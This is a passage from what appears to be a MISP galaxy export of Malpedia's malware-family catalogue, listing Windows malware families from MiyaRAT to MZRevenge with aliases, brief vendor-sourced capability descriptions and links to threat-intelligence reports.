https://malpedia.caad.fkie.fraunhofer.de/details/win.miuref

MiyaRAT

According to Proofpoint, MiyaRAT is a remote access trojan (RAT) written in C++ that uses sockets for communications and has standard RAT functionality. It is possibly authored by the same developer(s) as WmRAT.

The tag is: *misp-galaxy:malpedia="MiyaRAT"*

MiyaRAT is also known as:

Table 4495. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miya_rat
https://www.threatray.com/blog/the-bitter-end-unraveling-eight-years-of-espionage-antics-part-two
https://www.proofpoint.com/us/blog/threat-insight/hidden-plain-sight-ta397s-new-attack-chain-delivers-espionage-rats

https://ti.qianxin.com/blog/articles/bitter-group-launches-new-trojan-miyarat-domestic-users-become-primary-targets-en/

MMON

The tag is: *misp-galaxy:malpedia="MMON"*

MMON is also known as:

- Kaptoxa

Table 4496. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mmon
http://reversing.fun/posts/2022/01/02/mmon.html

MM Core

The tag is: *misp-galaxy:malpedia="MM Core"*

MM Core is also known as:

Table 4497. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mm_core

MobiRAT

The tag is: *misp-galaxy:malpedia="MobiRAT"*

MobiRAT is also known as:

Table 4498. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mobi_rat
https://blog.malwarebytes.com/threat-analysis/2017/07/malware-abusing-ffmpeg/

Mocky LNK

LNK files used to lure and orchestrate execution of various scripts, interacting with the Mocky API service.

The tag is: *misp-galaxy:malpedia="Mocky LNK"*

Mocky LNK is also known as:

Table 4499. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mocky_lnk
https://cert.gov.ua/article/4492467
https://go.recordedfuture.com/hubfs/reports/CTA-RU-2024-0530.pdf
https://www.recordedfuture.com/research/grus-bluedelta-targets-key-networks-in-europe-with-multi-phase-espionage-camp
https://www.trendmicro.com/en_us/research/24/a/pawn-storm-uses-brute-force-and-stealth.html
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-009.pdf
https://www.zscaler.com/blogs/security-research/steal-it-campaign
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2025-CTI-007.pdf

Mocton

The tag is: *misp-galaxy:malpedia="Mocton"*

Mocton is also known as:

Table 4500. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mocton

ModernLoader

According to PCrisk, ModernLoader, also known as Avatar Bot and AvatarLoader, is a malicious program that has minimalistic loader and RAT (Remote Access Trojan) functionalities.

Loader-type malware is designed to infect devices with additional malicious programs, while RATs enable remote access/control over infected machines. ModernLoader is capable of executing basic commands and injecting malicious modules into systems.

The tag is: *misp-galaxy:malpedia="ModernLoader"*

ModernLoader is also known as:

- AvatarBot

Table 4501. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.modern_loader
https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html

MoDi RAT

The tag is: *misp-galaxy:malpedia="MoDi RAT"*

MoDi RAT is also known as:

Table 4502. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.modirat
https://news.sophos.com/en-us/2020/09/24/email-delivered-modi-rat-attack-pastes-powershell-commands/

ModPipe

ModPipe is point-of-sale (POS) malware capable of accessing sensitive information stored in devices running ORACLE MICROS Restaurant Enterprise Series (RES) 3700 POS – a management software suite used by hundreds of thousands of bars, restaurants, hotels and other hospitality establishments worldwide. ModPipe uses modular architecture consisting of basic components and downloadable modules. One of them – named GetMicInfo – contains an algorithm designed to gather database passwords by decrypting them from Windows registry values. Exfiltrated credentials allow ModPipe's operators access to database contents, including various definitions and configuration, status tables and information about POS transactions.

The tag is: *misp-galaxy:malpedia="ModPipe"*

ModPipe is also known as:

Table 4503. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.modpipe
https://www.foregenix.com/blog/modpipe-malware-has-a-new-module-that-siphons-payment-card-data
https://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/
https://www.kroll.com/en/insights/publications/cyber/modpipe-pos-malware-new-hooking-targets-extract-card-data

ModPOS

The tag is: *misp-galaxy:malpedia="ModPOS"*

ModPOS is also known as:

- straxbot

Table 4504. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.modpos
https://www.fireeye.com/blog/threat-research/2015/11/modpos.html
https://twitter.com/physicaldrive0/status/670258429202530306

Mofksys

The tag is: *misp-galaxy:malpedia="Mofksys"*

Mofksys is also known as:

Table 4505. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mofksys
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_MOFKSYS.A/

Moisha Ransomware

Moisha is a .NET-based ransomware that employs double extortion techniques to encrypt and exfiltrate data from victims. Upon execution, it creates a global mutex to ensure only one instance of the malware runs on the affected system. It then stops services such as backup and antivirus to avoid interference during the encryption process. Moisha disables real-time protection in Microsoft Defender and removes shadow copies using PowerShell and Vssadmin. It encrypts files on the system using RSA and AES encryption algorithms and places a ransom note in the affected directory. The note instructs victims to contact the attackers via a Moisha ID on TOX Messenger to negotiate the ransom. Additionally, Moisha spreads to other machines on the network and self-deletes using PowerShell command line.

The tag is: *misp-galaxy:malpedia="Moisha Ransomware"*

Moisha Ransomware is also known as:

Table 4506. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moisha
https://id-ransomware.blogspot.com/2022/08/moisha-ransomware.html

Moker

The tag is: *misp-galaxy:malpedia="Moker"*

Moker is also known as:

Table 4507. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moker
http://blog.ensilo.com/moker-a-new-apt-discovered-within-a-sensitive-network
https://breakingmalware.com/malware/moker-part-1-dissecting-a-new-apt-under-the-microscope/
https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/
https://breakingmalware.com/malware/moker-part-2-capabilities/

Mokes (Windows)

The tag is: *misp-galaxy:malpedia="Mokes (Windows)"*

Mokes (Windows) is also known as:

Table 4508. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mokes
https://securelist.com/mokes-and-buerak-distributed-under-the-guise-of-security-certificates/96324/
https://securelist.com/from-linux-to-windows-new-family-of-cross-platform-desktop-backdoors-discovered/73503/

Mole

The tag is: *misp-galaxy:malpedia="Mole"*

Mole is also known as:

Table 4509. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mole
https://www.proofpoint.com/us/threat-insight/post/adgholas-malvertising-campaign-using-astrum-ek-deliver-mole-ransomware
https://www.cert.pl/en/news/single/mole-ransomware-analysis-and-decryptor/

MoleNet

MoleNet is a .NET downloader malware used by the Molerats group in targeted attacks in the Middle East. Before downloading additional payloads, it first collects information about the infected machine using WMI queries and sends the data to its operators. It was first discovered in 2020, however, Cybereason researchers showed that it has been in use since at least 2019, with infrastructure that operated since 2017.

The tag is: *misp-galaxy:malpedia="MoleNet"*

MoleNet is also known as:

Table 4510. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.molenet
https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign

Molerat Loader

The tag is: *misp-galaxy:malpedia="Molerat Loader"*

Molerat Loader is also known as:

Table 4511. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.molerat_loader
https://www.proofpoint.com/us/blog/threat-insight/new-ta402-molerats-malware-targets-governments-middle-east
https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/
https://www.0ffset.net/reverse-engineering/malware-analysis/molerats-string-decryption/
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf
http://www.clearskysec.com/iec/

Monero Miner

According to ESET, first seen in-the-wild on 26th May, 2017, the malicious mining software is a fork of a legitimate open source Monero CPU miner called xmrig.

The tag is: *misp-galaxy:malpedia="Monero Miner"*

Monero Miner is also known as:

- CoinMiner

Table 4512. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.monero_miner
https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/

https://news.sophos.com/en-us/2021/10/24/node-poisoning-hijacked-package-delivers-coin-miner-and-credential-stealing-backdoor
https://asec.ahnlab.com/en/37526/
https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/
https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux

Money Message

A new ransomware gang hitting companies in worldwide firstly spotted by Zscaler.

The tag is: *misp-galaxy:malpedia="Money Message"*

Money Message is also known as:

Table 4513. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moneymessage
https://yoroi.company/research/money-ransomware-the-latest-double-extortion-group/
https://resources.securityscorecard.com/research/analysis-money-message-ransomware
https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/

mongall

The tag is: *misp-galaxy:malpedia="mongall"*

mongall is also known as:

Table 4514. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mongall
https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/

MonsterV2

The tag is: *misp-galaxy:malpedia="MonsterV2"*

MonsterV2 is also known as:

- Aurotun Stealer

Table 4515. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.monsterv2
https://bazaar.abuse.ch/browse/signature/AurotunStealer/
https://www.cyber.nj.gov/Home/Components/News/News/1753/214
https://www.proofpoint.com/us/blog/threat-insight/when-monster-bytes-tracking-ta585-and-its-arsenal
https://x.com/threatinsight/status/1930733204950184410

MontysThree

The tag is: *misp-galaxy:malpedia="MontysThree"*

MontysThree is also known as:

- MT3

Table 4516. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.montysthree
https://securelist.com/montysthree-industrial-espionage/98972/

MoonBounce

MoonBounce is a malware embedded into a modified UEFI firmware. Placed into SPI flash, it can provide persistence across full reinstall and even disk replacements. MoonBounce deploys user-mode malware through in-memory staging with a small footprint.

The tag is: *misp-galaxy:malpedia="MoonBounce"*

MoonBounce is also known as:

Table 4517. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moonbounce
https://habr.com/ru/amp/post/668154/
https://www.binarly.io/posts/A_deeper_UEFI_dive_into_MoonBounce/index.html
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/01/19115831/MoonBounce_technical-details_eng.pdf
https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/

MoonPeak

According to Cisco Talos, this RAT is derived from the open source XenoRAT.

The tag is: *misp-galaxy:malpedia="MoonPeak"*

MoonPeak is also known as:

Table 4518. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moonpeak
https://blog.talosintelligence.com/moonpeak-malware-infrastructure-north-korea/

MOONTAG

The malware, potentially named "MOON_TAG" by its developer as indicated by the strings within, is derived from code shared in a Google Group (https://groups.google.com/g/ph4nt0m/c/2J3_1XPeKD8/m/AYPoWudRcTAJ?pli=1). Each variant discovered possesses capabilities to communicate via the Microsoft Graph API. At this moment, it appears to be in development.

The tag is: *misp-galaxy:malpedia="MOONTAG"*

MOONTAG is also known as:

Table 4519. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moontag
https://www.security.com/threat-intelligence/cloud-espionage-attacks

MoonWalk

The tag is: *misp-galaxy:malpedia="MoonWalk"*

MoonWalk is also known as:

- CurveLast
- SneakCross

Table 4520. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moonwalk
https://www.zscaler.com/blogs/security-research/moonwalk-deep-dive-updated-arsenal-apt41-part-2

MoonWind

The tag is: *misp-galaxy:malpedia="MoonWind"*

MoonWind is also known as:

Table 4521. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moonwind
http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/

MoriAgent

The tag is: *misp-galaxy:malpedia="MoriAgent"*

MoriAgent is also known as:

Table 4522. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moriagent
https://securelist.com/apt-trends-report-q3-2020/99204/
https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/
https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf
https://twitter.com/Timele9527/status/1272776776335233024
https://www.cisa.gov/uscert/ncas/alerts/aa22-055a
https://live.paloaltonetworks.com/t5/custom-signatures/how-to-stop-mortiagent-malware-using-the-snort-rule/td-p/326590#

Moriya

This tool is a passive backdoor which allows attackers to inspect all incoming traffic to the infected machine, filter out packets that are marked as designated for the malware and respond to them. This forms a covert channel over which attackers are able to issue shell commands and receive back their outputs.

The tag is: *misp-galaxy:malpedia="Moriya"*

Moriya is also known as:

Table 4523. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moriya

https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/
https://www.trendmicro.com/en_us/research/25/d/earth-kurma-apt-campaign.html

Morpheus Loader

The tag is: *misp-galaxy:malpedia="Morpheus Loader "*

Morpheus Loader is also known as:

Table 4524. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.morpheus
https://bazaar.abuse.ch/sample/6e1b152e34c76fab5414c4210a28bb5ca47b2155e6205e58e7df78ee9de6cb64/

Morphine

The tag is: *misp-galaxy:malpedia="Morphine"*

Morphine is also known as:

Table 4525. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.morphine

MortalKombat

The tag is: *misp-galaxy:malpedia="MortalKombat"*

MortalKombat is also known as:

Table 4526. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mortalkombat
https://blog.talosintelligence.com/new-mortalkombat-ransomware-and-laplas-clipper-malware-threats/

Mortis

The tag is: *misp-galaxy:malpedia="Mortis"*

Mortis is also known as:

Table 4527. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mortis
https://m4lcode.github.io/malware%20analysis/Mortis-Locker-YARA-Rule/

Morto

The tag is: *misp-galaxy:malpedia="Morto"*

Morto is also known as:

Table 4528. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.morto
https://www.f-secure.com/weblog/archives/00002227.html
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Morto.A
http://contagiodump.blogspot.com/2011/08/aug-28-morto-tsclient-rdp-worm-with.html

MosaicRegressor

The tag is: *misp-galaxy:malpedia="MosaicRegressor"*

MosaicRegressor is also known as:

Table 4529. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mosaic_regressor
https://blogs.vmware.com/security/2021/06/detecting-uefi-bootkits-in-the-wild-part-1.html
https://securelist.com/mosaicregressor/98849/

Moserpass

The tag is: *misp-galaxy:malpedia="Moserpass"*

Moserpass is also known as:

Table 4530. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moserpass
https://www.csis.dk/newsroom-blog-overview/2021/moserpass-supply-chain/

Mosquito

The tag is: *misp-galaxy:malpedia="Mosquito"*

Mosquito is also known as:

Table 4531. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mosquito
https://www.secureworks.com/research/threat-profiles/iron-hunter
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/
https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf
https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html
https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/
https://go.recordedfuture.com/hubfs/reports/cta-2020-0312.pdf
https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/
https://www.recordedfuture.com/turla-apt-infrastructure/

MostereRAT

According to Fortinet, this malware is written in Easy Programming Language (EPL), a Simplified-Chinese-based programming language designed to be beginner-friendly and easy to understand, especially for native Chinese speakers.

The tag is: *misp-galaxy:malpedia="MostereRAT"*

MostereRAT is also known as:

Table 4532. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mostere_rat
https://www.fortinet.com/blog/threat-research/mostererat-deployed-anydesk-tightvnc-for-covert-full-access

Mount Locker

According to BlackBerry, MountLocker is a Ransomware-as-a-Service (RaaS), active since July 2020 The MountLocker ransomware was updated during early November 2020 to broaden the targeting of file types and evade security software. Victim's files are encrypted using ChaCha20, and file encryption keys are encrypted using RSA-2048. The ransomware appears to be somewhat secure; there are no trivial weaknesses allowing for easy key recovery and decryption of data. MountLocker does however use a cryptographically insecure method for key generation that may

be prone to attack.

The tag is: *misp-galaxy:malpedia="Mount Locker"*

Mount Locker is also known as:

- DagonLocker
- MountLocker
- QuantumLocker

Table 4533. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mount_locker
https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware
https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html
https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/
https://securityscorecard.pathfactory.com/research/quantum-ransomware
https://www.intezer.com/blog/malware-analysis/how-threat-actors-abuse-lnk-files/
https://github.com/Finch4/Malware-Analysis-Reports/tree/main/MountLocker
https://blogs.blackberry.com/en/2021/11/zebra2104
https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/
https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-joins-the-multi-million-dollar-ransom-game/
https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/
https://www.bleepingcomputer.com/news/security/law-enforcement-seizes-blacksuit-ransomware-leak-sites/
https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates
https://securityintelligence.com/posts/trickbot-conti-crypters-where-are-they-now/
https://community.riskiq.com/article/47766fbd
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://dissectingmalwa.re/between-a-rock-and-a-hard-place-exploring-mount-locker-ransomware.html
https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/
https://kienmanowar.wordpress.com/2021/08/04/quicknote-mountlocker-some-pseudo-code-snippets/
https://chuongdong.com/reverse%20engineering/2021/05/23/MountLockerRansomware/

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf
https://thedfirreport.com/2024/04/29/from-icedid-to-dagon-locker-ransomware-in-29-days/
https://www.bleepingcomputer.com/news/security/biotech-research-firm-miltenyi-biotec-hit-by-ransomware-data-leaked/
https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-now-targets-your-turbotax-tax-returns/
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
https://www.guidepointsecurity.com/mount-locker-ransomware-steps-up-counter-ir-capabilities/
https://intel471.com/blog/how-cybercriminals-create-turbulence-for-the-transportation-industry
https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-virtual-machines
https://news.sophos.com/en-us/2021/03/31/sophos-mtr-in-real-time-what-is-astro-locker-team/

Moure

The tag is: *misp-galaxy:malpedia="Moure"*

Moure is also known as:

Table 4534. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moure

mozart

According to PCrisk, Mozart is malicious software that allows attackers (cyber criminals) to execute various commands on an infected computer through the DNS protocol. This communication method helps cyber criminals to avoid detection via security software. Mozart is categorized as a malware loader and executes commands that cause download and installation of malicious software.

The tag is: *misp-galaxy:malpedia="mozart"*

mozart is also known as:

Table 4535. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.mozart
https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-01-11-the-mozart-ram-scraper.md
https://securitykitten.github.io/2015/01/11/the-mozart-ram-scraper.html

MPKBot

The tag is: *misp-galaxy:malpedia="MPKBot"*

MPKBot is also known as:

- MPK

Table 4536. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mpkbot
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf
https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/

MQsTTang

The tag is: *misp-galaxy:malpedia="MQsTTang"*

MQsTTang is also known as:

- QMAGENT

Table 4537. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mqsttang
https://www.welivesecurity.com/2023/03/02/mqsttang-mustang-panda-latest-backdoor-treads-new-ground-qt-mqtt/
https://blog.sekoia.io/my-teas-not-cold-an-overview-of-china-cyber-threat/

MRAC

Ransomware.

The tag is: *misp-galaxy:malpedia="MRAC"*

MRAC is also known as:

Table 4538. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mrac
https://id-ransomware.blogspot.com/2021/12/mrac-ransomware.html

MrDec

Ransomware.

The tag is: *misp-galaxy:malpedia="MrDec"*

MrDec is also known as:

Table 4539. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mrdec
https://dissectingmalwa.re/i-literally-cant-think-of-a-fitting-pun-mrdec-ransomware.html

MrPeter

The tag is: *misp-galaxy:malpedia="MrPeter"*

MrPeter is also known as:

Table 4540. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mr_peter
https://github.com/mrfr05t/Mr.Peter

Msupedge

The tag is: *misp-galaxy:malpedia="Msupedge"*

Msupedge is also known as:

Table 4541. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.msupedge
https://symantec-enterprise-blogs.security.com/threat-intelligence/taiwan-malware-dns

MuddyC2Go

The tag is: *misp-galaxy:malpedia="MuddyC2Go"*

MuddyC2Go is also known as:

Table 4542. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.muddyc2go
https://www.deepinstinct.com/blog/muddyc2go-latest-c2-framework-used-by-iranian-apt-muddywater-spotted-in-israel
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/iran-apt-seedworm-africa-telecoms
https://www.deepinstinct.com/blog/darkbeatc2-the-latest-muddywater-attack-framework

MulCom

The tag is: *misp-galaxy:malpedia="MulCom"*

MulCom is also known as:

Table 4543. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mulcom
https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies

Multigrain POS

The tag is: *misp-galaxy:malpedia="Multigrain POS"*

Multigrain POS is also known as:

Table 4544. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.multigrain_pos
https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html
https://www.pandasecurity.com/mediacenter/malware/multigrain-malware-pos/

murkytop

```
a command-line reconnaissance tool. It can be used to execute files as a different
user, move, and delete files locally, schedule remote AT jobs, perform host discovery
on connected networks, scan for open ports on hosts in a connected network, and
retrieve information about the OS, users, groups, and shares on remote hosts.
```

The tag is: *misp-galaxy:malpedia="murkytop"*

murkytop is also known as:

Table 4545. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.murkytop
https://www.secureworks.com/research/threat-profiles/bronze-mohawk
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

Murofet

According to bin.re, Murofet, also called LICAT, is a member of the ZeuS family. It uses a Domain Generation Algorithm (DGA) to determine the current C2 domain names.

The tag is: *misp-galaxy:malpedia="Murofet"*

Murofet is also known as:

- Licat

Table 4546. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.murofet
https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group
https://www.wired.com/2017/03/russian-hacker-spy-botnet/
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://bin.re/blog/three-variants-of-murofets-dga/

Mutabaha

The tag is: *misp-galaxy:malpedia="Mutabaha"*

Mutabaha is also known as:

Table 4547. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mutabaha
http://vms.drweb.ru/virus/?_is=1&i=8477920

MyDogs

The tag is: *misp-galaxy:malpedia="MyDogs"*

MyDogs is also known as:

Table 4548. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mydogs
https://www.pwc.co.uk/issues/cyber-security-services/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.html
https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/
https://www.pwc.co.uk/issues/cyber-security-services/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.htmlhttps://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-2.html
https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-2.html

MyDoom

When executed, the worm opens up Windows' Notepad with garbage data in it. When spreading, the infectious email used to distribute the worm copies use variable subjects, bodies and attachment names.

The worm encrypts most of the strings in it’s UPX-packed body with ROT13 method, i.e. the characters are rotated 13 locations to the right in the abecedary, starting from the beginning if the position is beyond the last letter.

Mydoom also performs a Distributed Denial-of-Service attack on www.sco.com. This attack starts on 1st of February.

The worm opens up a backdoor to infected computers. This is done by planting a new SHIMGAPI.DLL file to system32 directory and launching it as a child process of EXPLORER.EXE.

Mydoom is programmed to stop spreading on February 12th.

The tag is: *misp-galaxy:malpedia="MyDoom"*

MyDoom is also known as:

- Mimail
- Novarg

Table 4549. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.mydoom
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
http://ivanlef0u.fr/repo/madchat/vxdevl/papers/analysis/mydoom_b_analysis.pdf
https://cocomelonc.github.io/malware/2025/05/01/malware-tricks-46.html
https://www.malware-traffic-analysis.net/2018/12/19/index.html
https://www.giac.org/paper/gcih/619/mydoom-backdoor/106503
https://www.giac.org/paper/gcih/568/mydoom-dom-anlysis-mydoom-virus/106069

MyKings Spreader

The tag is: *misp-galaxy:malpedia="MyKings Spreader"*

MyKings Spreader is also known as:

Table 4550. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mykings_spreader
AhnLabAnalysis%20Report_MyKings%20Botnet.pdf[AhnLabAnalysis%20Report_MyKings%20Botnet.pdf]
https://blog.talosintelligence.com/2020/07/valak-emerges.html
https://sophos.files.wordpress.com/2019/12/mykings_report_final.pdf
https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators
http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/
https://decoded.avast.io/janrubin/the-king-is-dead-long-live-mykings/

MyloBot

According to PCrisk, MyloBot is a high-risk trojan-type virus that allows cyber criminals to control the infected machine. MyloBot can be considered as a botnet, since all infected computers are connected to a single network. Depending on cyber criminals' goals, infected machines might be misused or have additional infections applied.

The tag is: *misp-galaxy:malpedia="MyloBot"*

MyloBot is also known as:

- FakeDGA
- WillExec

Table 4551. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mylobot
https://blogs.akamai.com/sitr/2021/01/detecting-mylobot-unseen-dga-based-malware-using-deep-learning.html
https://blog.centurylink.com/mylobot-continues-global-infections/
http://blog.talosintelligence.com/2017/10/threat-round-up-1020-1017.html
https://ti.qianxin.com/blog/articles/Analysis-of-Recent-Activities-of-the-Mylobot-Botnet-EN/
http://www.freebuf.com/column/153424.html
https://www.bitsight.com/blog/mylobot-investigating-proxy-botnet
https://github.com/360netlab/DGA/issues/36
https://www.deepinstinct.com/2018/06/20/meet-mylobot-a-new-highly-sophisticated-never-seen-before-botnet-thats-out-in-the-wild/

MysterySnail

The tag is: *misp-galaxy:malpedia="MysterySnail"*

MysterySnail is also known as:

Table 4552. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mystery_snail
https://securelist.com/mysterysnail-new-version/116226/
https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk175885
https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/

Mystic Stealer

According to ZScaler, a new information stealer that was first advertised in April 2023, capable of stealing credentials from nearly 40 web browsers and more than 70 browser extensions, also targeting cryptocurrency wallets, Steam, and Telegram. The code is heavily obfuscated making use of polymorphic string obfuscation, hash-based import resolution, and runtime calculation of constants. Mystic implements a custom binary protocol that is encrypted with RC4.

The tag is: *misp-galaxy:malpedia="Mystic Stealer"*

Mystic Stealer is also known as:

Table 4553. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.mystic_stealer	
https://www.zscaler.com/blogs/security-research/mystic-stealer	

MZRevenge

The tag is: *misp-galaxy:malpedia="MZRevenge"*

MZRevenge is also known as:

- MaMo434376

Table 4554. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mzrevenge
https://dissectingmalwa.re/a-projectexe-that-should-have-stayed-in-a-drawer-mzrevenge-mamo434376.html

N40

